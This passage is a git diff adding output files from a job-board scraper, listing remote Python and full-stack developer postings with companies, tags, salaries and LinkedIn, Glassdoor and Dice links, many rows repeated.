mentioned,https://mx.linkedin.com/jobs/view/remote-junior-ai-developer-python-at-capital-certainty-3903420724?position=1&pageNum=40&refId=GrzP6Ij8MHMJSeEX7POvZg%3D%3D&trackingId=tul63IYKsaIJgCMpBs8E8A%3D%3D&trk=public_jobs_jserp-result_search-card +Remote Junior AI Developer (Python),Capital Certainty,https://www.devjobsscanner.com/company/capital certainty,['python'],1 month ago,Not mentioned,https://co.linkedin.com/jobs/view/remote-junior-ai-developer-python-at-capital-certainty-3903424707?position=2&pageNum=25&refId=9jXnRE8TnaMjCU9ULDZnFg%3D%3D&trackingId=a2cdthbZLKym%2FrjOau2ixw%3D%3D&trk=public_jobs_jserp-result_search-card +Junior Python Automation Engineer - Remote,HireMeFast LLC,https://www.devjobsscanner.com/company/hiremefast llc,"['python', 'automation']",4 weeks ago,Not mentioned,https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3911597343?refId=153raRUvsXB3eCH6JeOXdQ%3D%3D&trackingId=rqvfYQhC%2FjOGJKCliF6eTg%3D%3D&position=20&pageNum=3&trk=public_jobs_jserp-result_search-card +Junior Python Automation Engineer - Remote,HireMeFast LLC,https://www.devjobsscanner.com/company/hiremefast llc,"['python', 'automation']",3 weeks ago,Not mentioned,https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3913083195?refId=jRHwmdZSYrD1hTxFj57UvA%3D%3D&trackingId=EonPhC0mP6MG%2BVNmkjwcvA%3D%3D&position=13&pageNum=1&trk=public_jobs_jserp-result_search-card +Junior Python Automation Engineer - Remote,HireMeFast LLC,https://www.devjobsscanner.com/company/hiremefast llc,"['python', 'automation']",3 weeks ago,Not mentioned,https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3913727649?refId=Rv6T5COZxcDrHwk3jw8cRQ%3D%3D&trackingId=kr7fAONQKUm%2FJvt4WMPFvg%3D%3D&position=5&pageNum=30&trk=public_jobs_jserp-result_search-card +Junior Python Automation Engineer - Remote,HireMeFast LLC,https://www.devjobsscanner.com/company/hiremefast llc,"['python', 'automation']",3 weeks ago,Not mentioned,https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3914226121?refId=MSdQMFwE%2F3S%2BUcrDpBSA7w%3D%3D&trackingId=GhJ3LvB0hWSAn3CrkHTNKQ%3D%3D&position=20&pageNum=38&trk=public_jobs_jserp-result_search-card +Junior Python Automation Engineer - Remote,HireMeFast LLC,https://www.devjobsscanner.com/company/hiremefast llc,"['python', 'automation']",2 weeks ago,Not mentioned,https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3917915478?position=9&pageNum=87&refId=6OvZjHtktNkp3%2FtdijaA2g%3D%3D&trackingId=HBgQCPVN%2FlVJb8JEHXNqvw%3D%3D&trk=public_jobs_jserp-result_search-card +Junior Python Automation Engineer - Remote,HireMeFast LLC,https://www.devjobsscanner.com/company/hiremefast llc,"['python', 'automation']",2 weeks ago,Not mentioned,https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3918715725?position=8&pageNum=2&refId=lKPDTgHL55I1EMZcazybag%3D%3D&trackingId=4UEgu8DCO4otvbIw2kr31w%3D%3D&trk=public_jobs_jserp-result_search-card diff --git a/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Junior Python Developer_jobs_remote_true_sorted_by_matches.txt b/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Junior Python Developer_jobs_remote_true_sorted_by_matches.txt new file mode 100644 index 00000000..afc2026c --- /dev/null +++ b/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Junior Python Developer_jobs_remote_true_sorted_by_matches.txt @@ -0,0 +1,160 @@ +Title: Junior Python Developer - Fully Remote +Company: INDI Staffing Services +Company URL: https://www.devjobsscanner.com/company/indi staffing services +Tags: python +Date Posted: 4 weeks ago +Salary: Not mentioned +Job URL: https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905557993?refId=CIi7kPgOLtsBQ2GdsSUZ6A%3D%3D&trackingId=HjTjhxuOXesYMFynnjZ3sA%3D%3D&position=23&pageNum=15&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Developer - Fully Remote +Company: INDI Staffing Services +Company URL: https://www.devjobsscanner.com/company/indi staffing services +Tags: python +Date Posted: 4 weeks ago +Salary: Not mentioned +Job URL: https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905559533?refId=24YIlA6nBIXWZAw2pp8YIQ%3D%3D&trackingId=K0RNbyZF8P1NVP8jSDTZxg%3D%3D&position=14&pageNum=4&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Developer - Fully Remote +Company: INDI Staffing Services +Company URL: https://www.devjobsscanner.com/company/indi staffing services +Tags: python +Date Posted: 4 weeks ago +Salary: Not mentioned +Job URL: https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905558971?position=4&pageNum=50&refId=f%2FMDbLRF9jpyu1FP2qKzBA%3D%3D&trackingId=3b3MyV8heftivJ1yAEGDSA%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Developer - Fully Remote +Company: INDI Staffing Services +Company URL: https://www.devjobsscanner.com/company/indi staffing services +Tags: python +Date Posted: 4 weeks ago +Salary: Not mentioned +Job URL: https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905564228?position=9&pageNum=25&refId=3vjg%2F7Apk5o3blJ1SV4Trg%3D%3D&trackingId=YQovs1pUWZwPBsIsc%2F%2FeNA%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Developer - Fully Remote +Company: INDI Staffing Services +Company URL: https://www.devjobsscanner.com/company/indi staffing services +Tags: python +Date Posted: 4 weeks ago +Salary: Not mentioned +Job URL: https://co.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905560503?position=3&pageNum=2&refId=n%2BIMuq%2BFPiZWMUAdjPElDQ%3D%3D&trackingId=CL5eC5WRkvm518gLzpcuXA%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Developer - Fully Remote +Company: INDI Staffing Services +Company URL: https://www.devjobsscanner.com/company/indi staffing services +Tags: python +Date Posted: 4 weeks ago +Salary: Not mentioned +Job URL: https://co.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905560484?position=4&pageNum=2&refId=n%2BIMuq%2BFPiZWMUAdjPElDQ%3D%3D&trackingId=Ns2Q8YkzKL8BpD1ymz7nZw%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Developer - Fully Remote +Company: INDI Staffing Services +Company URL: https://www.devjobsscanner.com/company/indi staffing services +Tags: python +Date Posted: 4 weeks ago +Salary: Not mentioned +Job URL: https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905563257?position=2&pageNum=2&refId=bUQQZsGdjsbzIyYszLfYAA%3D%3D&trackingId=BsQara%2F7D3fS3KbgT8qvng%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Developer - Fully Remote +Company: INDI Staffing Services +Company URL: https://www.devjobsscanner.com/company/indi staffing services +Tags: python +Date Posted: 4 weeks ago +Salary: Not mentioned +Job URL: https://br.linkedin.com/jobs/view/junior-python-developer-fully-remote-at-indi-staffing-services-3905564224?position=1&pageNum=97&refId=%2BqnXHLbBBntROtlrbSJwyg%3D%3D&trackingId=NizLf2pvyn21xhEur7DC5g%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Developer +Company: Remote +Company URL: https://www.devjobsscanner.com/company/remote +Tags: python +Date Posted: 3 weeks ago +Salary: 360K-420K INR +Job URL: https://www.glassdoor.com/partner/jobListing.htm?pos=110&ao=1136043&tgt=APPLY_START&s=58&guid=0000018f6ee9aef3b4d180f3e6156037&src=GD_JOB_VIEW&t=SR&vt=w&ea=1&cs=1_90bec054&cb=1715552759939&jobListingId=1009261935030&jrtk=5-yul1-0-1htnejbpehdht800-4608d5f7f2223d74 +---------------------------------------- +Title: Python/Django Developer (Junior/Mid level) +Company: Remote +Company URL: https://www.devjobsscanner.com/company/remote +Tags: python, django +Date Posted: 3 weeks ago +Salary: $83K-104K +Job URL: https://www.glassdoor.com/partner/jobListing.htm?pos=1535&ao=1136043&tgt=APPLY_START&s=58&guid=0000018f6afd4e1790ebc43a68a229b4&src=GD_JOB_VIEW&t=SR&vt=w&ea=1&cs=1_c4a3bb53&cb=1715486937283&jobListingId=1009258237173&jrtk=5-yul1-0-1htlfqjioir0k800-8ef82aa48f33eb1f +---------------------------------------- +Title: Full Stack Developer 80-100% (f/m/x), fully remote +Company: comparis.ch AG +Company URL: https://www.devjobsscanner.com/company/comparis.ch ag +Tags: JavaScript, TypeScript, React, Next.js is a must +Date Posted: 2 weeks ago +Salary: $50K-60K +Job URL: https://www.comparis.ch/people/jobs/detail/1483471 +---------------------------------------- +Title: Junior Python Developer +Company: Remote +Company URL: https://www.devjobsscanner.com/company/remote +Tags: python +Date Posted: 1 month ago +Salary: 200K-600K INR +Job URL: https://www.glassdoor.com/partner/jobListing.htm?pos=1007&ao=1136043&tgt=APPLY_START&s=58&guid=0000018f050f36598d01f2ccbf6c4a0c&src=GD_JOB_VIEW&t=SR&vt=w&ea=1&cs=1_ee5c1cb4&cb=1713776834633&jobListingId=1009236729692&jrtk=5-yul1-0-1hs2gudkok7rv807-fc64d05e0d0ad0b8 +---------------------------------------- +Title: Remote Junior AI Developer (Python) +Company: Capital Certainty +Company URL: https://www.devjobsscanner.com/company/capital certainty +Tags: python +Date Posted: 1 month ago +Salary: Not mentioned +Job URL: https://mx.linkedin.com/jobs/view/remote-junior-ai-developer-python-at-capital-certainty-3903420724?position=1&pageNum=40&refId=GrzP6Ij8MHMJSeEX7POvZg%3D%3D&trackingId=tul63IYKsaIJgCMpBs8E8A%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Remote Junior AI Developer (Python) +Company: Capital Certainty +Company URL: https://www.devjobsscanner.com/company/capital certainty +Tags: python +Date Posted: 1 month ago +Salary: Not mentioned +Job URL: https://co.linkedin.com/jobs/view/remote-junior-ai-developer-python-at-capital-certainty-3903424707?position=2&pageNum=25&refId=9jXnRE8TnaMjCU9ULDZnFg%3D%3D&trackingId=a2cdthbZLKym%2FrjOau2ixw%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Automation Engineer - Remote +Company: HireMeFast LLC +Company URL: https://www.devjobsscanner.com/company/hiremefast llc +Tags: python, automation +Date Posted: 4 weeks ago +Salary: Not mentioned +Job URL: https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3911597343?refId=153raRUvsXB3eCH6JeOXdQ%3D%3D&trackingId=rqvfYQhC%2FjOGJKCliF6eTg%3D%3D&position=20&pageNum=3&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Automation Engineer - Remote +Company: HireMeFast LLC +Company URL: https://www.devjobsscanner.com/company/hiremefast llc +Tags: python, automation +Date Posted: 3 weeks ago +Salary: Not mentioned +Job URL: https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3913083195?refId=jRHwmdZSYrD1hTxFj57UvA%3D%3D&trackingId=EonPhC0mP6MG%2BVNmkjwcvA%3D%3D&position=13&pageNum=1&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Automation Engineer - Remote +Company: HireMeFast LLC +Company URL: https://www.devjobsscanner.com/company/hiremefast llc +Tags: python, automation +Date Posted: 3 weeks ago +Salary: Not mentioned +Job URL: https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3913727649?refId=Rv6T5COZxcDrHwk3jw8cRQ%3D%3D&trackingId=kr7fAONQKUm%2FJvt4WMPFvg%3D%3D&position=5&pageNum=30&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Automation Engineer - Remote +Company: HireMeFast LLC +Company URL: https://www.devjobsscanner.com/company/hiremefast llc +Tags: python, automation +Date Posted: 3 weeks ago +Salary: Not mentioned +Job URL: https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3914226121?refId=MSdQMFwE%2F3S%2BUcrDpBSA7w%3D%3D&trackingId=GhJ3LvB0hWSAn3CrkHTNKQ%3D%3D&position=20&pageNum=38&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Automation Engineer - Remote +Company: HireMeFast LLC +Company URL: https://www.devjobsscanner.com/company/hiremefast llc +Tags: python, automation +Date Posted: 2 weeks ago +Salary: Not mentioned +Job URL: https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3917915478?position=9&pageNum=87&refId=6OvZjHtktNkp3%2FtdijaA2g%3D%3D&trackingId=HBgQCPVN%2FlVJb8JEHXNqvw%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Junior Python Automation Engineer - Remote +Company: HireMeFast LLC +Company URL: https://www.devjobsscanner.com/company/hiremefast llc +Tags: python, automation +Date Posted: 2 weeks ago +Salary: Not mentioned +Job URL: https://www.linkedin.com/jobs/view/junior-python-automation-engineer-remote-at-hiremefast-llc-3918715725?position=8&pageNum=2&refId=lKPDTgHL55I1EMZcazybag%3D%3D&trackingId=4UEgu8DCO4otvbIw2kr31w%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- diff --git a/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Python Developer_jobs_remote_true_sorted_by_newest.csv b/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Python Developer_jobs_remote_true_sorted_by_newest.csv new file mode 100644 index 00000000..2c35ac06 --- /dev/null +++ b/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Python Developer_jobs_remote_true_sorted_by_newest.csv @@ -0,0 +1,41 @@ +title,company,company_url,tags,date_posted,salary,job_url +"Lead Software Engineer, Capital One Shopping (Remote)",Capital One,https://www.devjobsscanner.com/company/capital one,"['lead', 'startup', 'build', 'javascript', 'python', 'typescript']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby91akVEUUxiIiwiam9iSWQiOiI1ZjEzM2ExZS05YzYzLTQzOTgtYmZiZS01ZDZhNjQ1MGZjMTIiLCJqb2JUaXRsZSI6IkxlYWQgU29mdHdhcmUgRW5naW5lZXIsIENhcGl0YWwgT25lIFNob3BwaW5nIChSZW1vdGUpIiwiam9iVHlwZSI6InByb2dyYW1tYXRpYyJ9 +Sr. Software Engineer - C++ Go Python - Remote,Comcast Corporation,https://www.devjobsscanner.com/company/comcast corporation,"['video', 'data', 'design', 'build', 'c++', 'go', 'python']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9jcnFBNFViIiwiam9iSWQiOiJhZmVjNTk5Yy0yZmE2LTQxMmYtYWExOC1kMTE2ZGExNTMxYTQiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +Sr. Software Engineer - C++ Go Python - Remote,Comcast Corporation,https://www.devjobsscanner.com/company/comcast corporation,"['video', 'data', 'design', 'build', 'c++', 'go', 'python']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9aWktRYmtiIiwiam9iSWQiOiI4YjVjMWZmYi0xMzgyLTQ0MDYtYmM3Yy00M2YwMjM1MmFhNmYiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +Sr. Software Engineer - C++ Go Python - Remote,Comcast Corporation,https://www.devjobsscanner.com/company/comcast corporation,"['video', 'data', 'design', 'build', 'c++', 'go', 'python']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9GUEhQV09iIiwiam9iSWQiOiJlOWViMzY2Ni04MDdhLTRiNGYtODc3NS02NWFiOWEwODBlMzYiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +Sr. Software Engineer - C++ Go Python - Remote,Comcast Corporation,https://www.devjobsscanner.com/company/comcast corporation,"['video', 'data', 'design', 'build', 'c++', 'go', 'python']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9GeFd4YUZiIiwiam9iSWQiOiJkZjBlNzE5Yy1iMTE5LTQ1NjctYjE0Ni0wOTY2NDI2MzMyZDkiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +Sr. Software Engineer - C++ Go Python - Remote,Comcast Corporation,https://www.devjobsscanner.com/company/comcast corporation,"['video', 'data', 'design', 'build', 'c++', 'go', 'python']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9VdktKb09iIiwiam9iSWQiOiJmMzhlNDg0ZC00ZTAwLTQ2YmEtYmRjYS0xMjM4YzM2Y2ViMDAiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +Senior ServiceNow Custom App Developer DHS (Remote),ICF,https://www.devjobsscanner.com/company/icf,"['Support', 'ITIL', 'JavaScript', 'Security', 'ServiceNow']",1 week ago,$85K-144K,https://devitjobs.us/jobs/ICF-Senior-ServiceNow-Custom-App-Developer-DHS-Remote?utm_source=devjobsscanner +Senior ServiceNow ITBM and SPM Developer,ICF,https://www.devjobsscanner.com/company/icf,"['CMS', 'HTML5', 'ITIL', 'JSON', 'JavaScript', 'REST', 'SOAP', 'Security', 'ServiceNow', 'jQuery', 'UX UI Design']",1 week ago,$83K-141K,https://devitjobs.us/jobs/ICF-Senior-ServiceNow-ITBM-and-SPM-Developer?utm_source=devjobsscanner +Full Stack Engineer FTE,Linkitall LLC,https://www.devjobsscanner.com/company/linkitall llc,"['AWS', 'C#', 'Cloud', 'CSS', 'JavaScript', 'MySQL', 'PostgreSQL', 'Python', 'React', 'Ruby', 'Security', 'Serverless', 'Web', 'ASP.NET']",1 week ago,$100K-120K,https://devitjobs.us/jobs/Linkitall-LLC-Full-Stack-Engineer-FTE?utm_source=devjobsscanner +NestJS Developer,"Business Performance Systems, LLC","https://www.devjobsscanner.com/company/business performance systems, llc","['Architect', 'Backend', 'CSS', 'GitHub', 'HTTP', 'JSON', 'NestJS', 'RPA', 'React', 'Selenium', 'TypeScript', 'Web', 'XML', 'DDD']",1 week ago,$104K-166K,https://devitjobs.us/jobs/Business-Performance-Systems-LLC-NestJS-Developer?utm_source=devjobsscanner +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://ca.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918956049?position=4&pageNum=82&refId=o5Fir2Hl1NbqZJIDVZDTTg%3D%3D&trackingId=9C369v4uC7ZvlIG362ZzPg%3D%3D&trk=public_jobs_jserp-result_search-card +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://ca.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952607?position=10&pageNum=77&refId=rIp8uk7Zb7YJ%2FIoM6gjThA%3D%3D&trackingId=4%2BR9sWdqi6VNsYdqYbI%2BSg%3D%3D&trk=public_jobs_jserp-result_search-card +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://ee.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952164?position=7&pageNum=2&refId=%2BlzGQBFIZNr%2F77X2aCLJwg%3D%3D&trackingId=NwmYBAuw6pdZbJvt7BUl%2FA%3D%3D&trk=public_jobs_jserp-result_search-card +"Back End Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://se.linkedin.com/jobs/view/back-end-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952649?position=2&pageNum=95&refId=gkhd25N%2BusYKXmVi%2Ftc6hQ%3D%3D&trackingId=Df2REZr6HIyqEOi59JTEXQ%3D%3D&trk=public_jobs_jserp-result_search-card +"Back End Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://jp.linkedin.com/jobs/view/back-end-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918955247?position=2&pageNum=92&refId=M%2F%2B%2FfR2XZRE3Q7c%2BcUH98Q%3D%3D&trackingId=fImG1FN3mqOKjFysIccDkw%3D%3D&trk=public_jobs_jserp-result_search-card +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://jp.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918958006?position=4&pageNum=62&refId=zFLlHYOklNghNqc5H5wHeg%3D%3D&trackingId=WD%2B0Wti%2FEdhUVqRVIFR%2FCQ%3D%3D&trk=public_jobs_jserp-result_search-card +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://jp.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918956027?position=6&pageNum=45&refId=c3IIxVPPuCAd6X%2B9eAfStA%3D%3D&trackingId=UcpNg1sflvPcannqUbWp9Q%3D%3D&trk=public_jobs_jserp-result_search-card +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://mx.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918951923?position=2&pageNum=60&refId=11dLN08Bn3KEU19lv2RyJw%3D%3D&trackingId=bNTnSuMHG9M9TSPyAEdjcQ%3D%3D&trk=public_jobs_jserp-result_search-card +"Development Team Lead, gt.school (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,['lead'],1 week ago,Not mentioned,https://ar.linkedin.com/jobs/view/development-team-lead-gt-school-remote-%24100-000-year-usd-at-crossover-3918949522?position=7&pageNum=40&refId=6UvPAwIoDVN26%2BwNoBzz7Q%3D%3D&trackingId=W2om2ebZp74ceBYLiXAL1A%3D%3D&trk=public_jobs_jserp-result_search-card +Software Development Engineer in Test (Remote Canada),Milk Moovement,https://www.devjobsscanner.com/company/milk moovement,[],1 week ago,Not mentioned,https://www.glassdoor.com/partner/jobListing.htm?pos=338&ao=1136043&s=58&guid=0000018f70da9400a9dd451b642c35d5&src=GD_JOB_VIEW&t=SR&vt=w&cs=1_ebf9e050&cb=1715585324501&jobListingId=1009124516931&jrtk=5-yul1-0-1htodl51oj33d805-acafb3b76c0b8a5c +"Lead Software Engineer, Capital One Shopping (Remote)",Capital One,https://www.devjobsscanner.com/company/capital one,"['lead', 'startup', 'build', 'javascript', 'python', 'typescript']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby91akVEUUxiIiwiam9iSWQiOiI1ZjEzM2ExZS05YzYzLTQzOTgtYmZiZS01ZDZhNjQ1MGZjMTIiLCJqb2JUaXRsZSI6IkxlYWQgU29mdHdhcmUgRW5naW5lZXIsIENhcGl0YWwgT25lIFNob3BwaW5nIChSZW1vdGUpIiwiam9iVHlwZSI6InByb2dyYW1tYXRpYyJ9 +Sr. Software Engineer - C++ Go Python - Remote,Comcast Corporation,https://www.devjobsscanner.com/company/comcast corporation,"['video', 'data', 'design', 'build', 'c++', 'go', 'python']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9jcnFBNFViIiwiam9iSWQiOiJhZmVjNTk5Yy0yZmE2LTQxMmYtYWExOC1kMTE2ZGExNTMxYTQiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +Sr. Software Engineer - C++ Go Python - Remote,Comcast Corporation,https://www.devjobsscanner.com/company/comcast corporation,"['video', 'data', 'design', 'build', 'c++', 'go', 'python']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9aWktRYmtiIiwiam9iSWQiOiI4YjVjMWZmYi0xMzgyLTQ0MDYtYmM3Yy00M2YwMjM1MmFhNmYiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +Sr. Software Engineer - C++ Go Python - Remote,Comcast Corporation,https://www.devjobsscanner.com/company/comcast corporation,"['video', 'data', 'design', 'build', 'c++', 'go', 'python']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9GUEhQV09iIiwiam9iSWQiOiJlOWViMzY2Ni04MDdhLTRiNGYtODc3NS02NWFiOWEwODBlMzYiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +Sr. Software Engineer - C++ Go Python - Remote,Comcast Corporation,https://www.devjobsscanner.com/company/comcast corporation,"['video', 'data', 'design', 'build', 'c++', 'go', 'python']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9GeFd4YUZiIiwiam9iSWQiOiJkZjBlNzE5Yy1iMTE5LTQ1NjctYjE0Ni0wOTY2NDI2MzMyZDkiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +Sr. Software Engineer - C++ Go Python - Remote,Comcast Corporation,https://www.devjobsscanner.com/company/comcast corporation,"['video', 'data', 'design', 'build', 'c++', 'go', 'python']",1 week ago,Not mentioned,https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9VdktKb09iIiwiam9iSWQiOiJmMzhlNDg0ZC00ZTAwLTQ2YmEtYmRjYS0xMjM4YzM2Y2ViMDAiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +Senior ServiceNow Custom App Developer DHS (Remote),ICF,https://www.devjobsscanner.com/company/icf,"['Support', 'ITIL', 'JavaScript', 'Security', 'ServiceNow']",1 week ago,$85K-144K,https://devitjobs.us/jobs/ICF-Senior-ServiceNow-Custom-App-Developer-DHS-Remote?utm_source=devjobsscanner +Senior ServiceNow ITBM and SPM Developer,ICF,https://www.devjobsscanner.com/company/icf,"['CMS', 'HTML5', 'ITIL', 'JSON', 'JavaScript', 'REST', 'SOAP', 'Security', 'ServiceNow', 'jQuery', 'UX UI Design']",1 week ago,$83K-141K,https://devitjobs.us/jobs/ICF-Senior-ServiceNow-ITBM-and-SPM-Developer?utm_source=devjobsscanner +Full Stack Engineer FTE,Linkitall LLC,https://www.devjobsscanner.com/company/linkitall llc,"['AWS', 'C#', 'Cloud', 'CSS', 'JavaScript', 'MySQL', 'PostgreSQL', 'Python', 'React', 'Ruby', 'Security', 'Serverless', 'Web', 'ASP.NET']",1 week ago,$100K-120K,https://devitjobs.us/jobs/Linkitall-LLC-Full-Stack-Engineer-FTE?utm_source=devjobsscanner +NestJS Developer,"Business Performance Systems, LLC","https://www.devjobsscanner.com/company/business performance systems, llc","['Architect', 'Backend', 'CSS', 'GitHub', 'HTTP', 'JSON', 'NestJS', 'RPA', 'React', 'Selenium', 'TypeScript', 'Web', 'XML', 'DDD']",1 week 